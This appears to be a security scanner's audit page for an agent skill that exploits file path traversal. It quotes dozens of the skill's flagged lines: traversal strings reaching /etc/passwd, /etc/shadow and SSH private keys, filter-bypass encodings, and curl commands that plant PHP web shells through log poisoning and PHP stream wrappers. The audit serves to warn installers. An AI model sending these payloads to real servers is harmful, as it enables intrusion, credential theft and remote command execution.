file-path-traversal
Identifies and exploits file path traversal vulnerabilities in web applications, providing detailed reports and remediation guidance.
Install this skill
Security score
The file-path-traversal skill was audited on May 12, 2026 and we found 81 security issues across 4 threat categories, including 5 critical. Review the findings below before installing.
Categories Tested
Security Issues
System command execution
| 322 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
System command execution
| 328 | # First: ssh '<?php system($_GET["cmd"]); ?>'@target.com |
System command execution
| 336 | curl -A "<?php system('id'); ?>" \ |
System command execution
| 340 | curl -A "<?php system(\$_GET['c']); ?>" \ |
System command execution
| 351 | curl -X POST -d "<?php system('id'); ?>" \ |
Curl to non-GitHub URL
| 118 | # Test payloads with curl |
Curl to non-GitHub URL
| 120 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
Curl to non-GitHub URL
| 322 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
Curl to non-GitHub URL
| 325 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
Curl to non-GitHub URL
| 329 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
Curl to non-GitHub URL
| 348 | curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" |
Curl to non-GitHub URL
| 355 | curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" |
Curl to non-GitHub URL
| 358 | curl "http://target.com/page?file=expect://id" |
Access to /etc/passwd
| 105 | ../../../etc/passwd |
Access to /etc/passwd
| 106 | ../../../../etc/passwd |
Access to /etc/passwd
| 107 | ../../../../../etc/passwd |
Access to /etc/passwd
| 108 | ../../../../../../etc/passwd |
Access to /etc/passwd
| 119 | curl "http://target.com/image?filename=../../../etc/passwd" |
Access to /etc/passwd
| 120 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
Access to /etc/passwd
| 127 | /etc/passwd |
Access to /etc/passwd
| 144 | ....//....//....//etc/passwd |
Access to /etc/passwd
| 145 | ....\/....\/....\/etc/passwd |
Access to /etc/passwd
| 148 | ..././..././..././etc/passwd |
Access to /etc/passwd
| 149 | ....//....//etc/passwd |
Access to /etc/passwd
| 153 | %2e%2e/%2e%2e/%2e%2e/etc/passwd |
Access to /etc/passwd
| 161 | ../../../etc/passwd%00.jpg |
Access to /etc/passwd
| 162 | ../../../etc/passwd%00.png |
Access to /etc/passwd
| 165 | ../../../etc/passwd............................... |
Access to /etc/passwd
| 168 | ../../../etc/passwd.jpg.php |
Access to /etc/passwd
| 175 | /var/www/images/../../../etc/passwd |
Access to /etc/passwd
| 178 | images/../../../etc/passwd |
Access to /etc/passwd
| 207 | /etc/passwd # User accounts |
Access to /etc/passwd
| 305 | # Traverse to /etc/passwd |
Access to /etc/passwd
| 370 | ../../../etc/passwd |
Access to /etc/passwd
| 377 | ....//....//....//etc/passwd |
Access to /etc/passwd
| 378 | ..;/..;/..;/etc/passwd |
Access to /etc/passwd
| 381 | /etc/passwd |
Access to /etc/passwd
| 384 | ../../../etc/passwd%00.jpg |
Access to /etc/passwd
| 440 | | `../../../etc/passwd` | Linux password file | |
Access to /etc/passwd
| 442 | | `....//....//....//etc/passwd` | Bypass simple filter | |
Access to /etc/passwd
| 443 | | `/etc/passwd` | Absolute path | |
Access to /etc/passwd
| 450 | | Linux | `/etc/passwd` | User accounts | |
Access to /etc/shadow
| 128 | /etc/shadow |
Access to /etc/shadow
| 208 | /etc/shadow # Password hashes (root only) |
Access to /etc/shadow
| 451 | | Linux | `/etc/shadow` | Password hashes | |
Path traversal to sensitive directory
| 105 | ../../../etc/passwd |
Path traversal to sensitive directory
| 106 | ../../../../etc/passwd |
Path traversal to sensitive directory
| 107 | ../../../../../etc/passwd |
Path traversal to sensitive directory
| 108 | ../../../../../../etc/passwd |
Path traversal to sensitive directory
| 119 | curl "http://target.com/image?filename=../../../etc/passwd" |
Path traversal to sensitive directory
| 161 | ../../../etc/passwd%00.jpg |
Path traversal to sensitive directory
| 162 | ../../../etc/passwd%00.png |
Path traversal to sensitive directory
| 165 | ../../../etc/passwd............................... |
Path traversal to sensitive directory
| 168 | ../../../etc/passwd.jpg.php |
Path traversal to sensitive directory
| 175 | /var/www/images/../../../etc/passwd |
Path traversal to sensitive directory
| 178 | images/../../../etc/passwd |
Path traversal to sensitive directory
| 325 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
Path traversal to sensitive directory
| 329 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
Path traversal to sensitive directory
| 370 | ../../../etc/passwd |
Path traversal to sensitive directory
| 384 | ../../../etc/passwd%00.jpg |
Path traversal to sensitive directory
| 440 | | `../../../etc/passwd` | Linux password file | |
Access to root home directory
| 215 | /root/.ssh/id_rsa # Root private key |
Access to root home directory
| 216 | /root/.ssh/authorized_keys # Authorized keys |
Access to SSH directory
| 215 | /root/.ssh/id_rsa # Root private key |
Access to SSH directory
| 216 | /root/.ssh/authorized_keys # Authorized keys |
Access to SSH directory
| 217 | /home/<user>/.ssh/id_rsa # User private keys |
External URL reference
| 119 | curl "http://target.com/image?filename=../../../etc/passwd" |
External URL reference
| 120 | curl "http://target.com/download?file=....//....//....//etc/passwd" |
External URL reference
| 292 | ffuf -u "http://target.com/image?filename=FUZZ" \ |
External URL reference
| 297 | ffuf -u "http://target.com/page?file=FUZZ" \ |
External URL reference
| 308 | "http://target.com/index.php?file=FUZZ" |
External URL reference
| 313 | "http://target.com/load?path=FUZZ" |
External URL reference
| 322 | curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/ |
External URL reference
| 325 | curl "http://target.com/page?file=../../../var/log/apache2/access.log&cmd=id" |
External URL reference
| 329 | curl "http://target.com/page?file=../../../var/log/auth.log&cmd=whoami" |
External URL reference
| 337 | "http://target.com/page?file=/proc/self/environ" |
External URL reference
| 341 | "http://target.com/page?file=/proc/self/environ&c=whoami" |
External URL reference
| 348 | curl "http://target.com/page?file=php://filter/convert.base64-encode/resource=config.php" |
External URL reference
| 352 | "http://target.com/page?file=php://input" |
External URL reference
| 355 | curl "http://target.com/page?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id" |
External URL reference
| 358 | curl "http://target.com/page?file=expect://id" |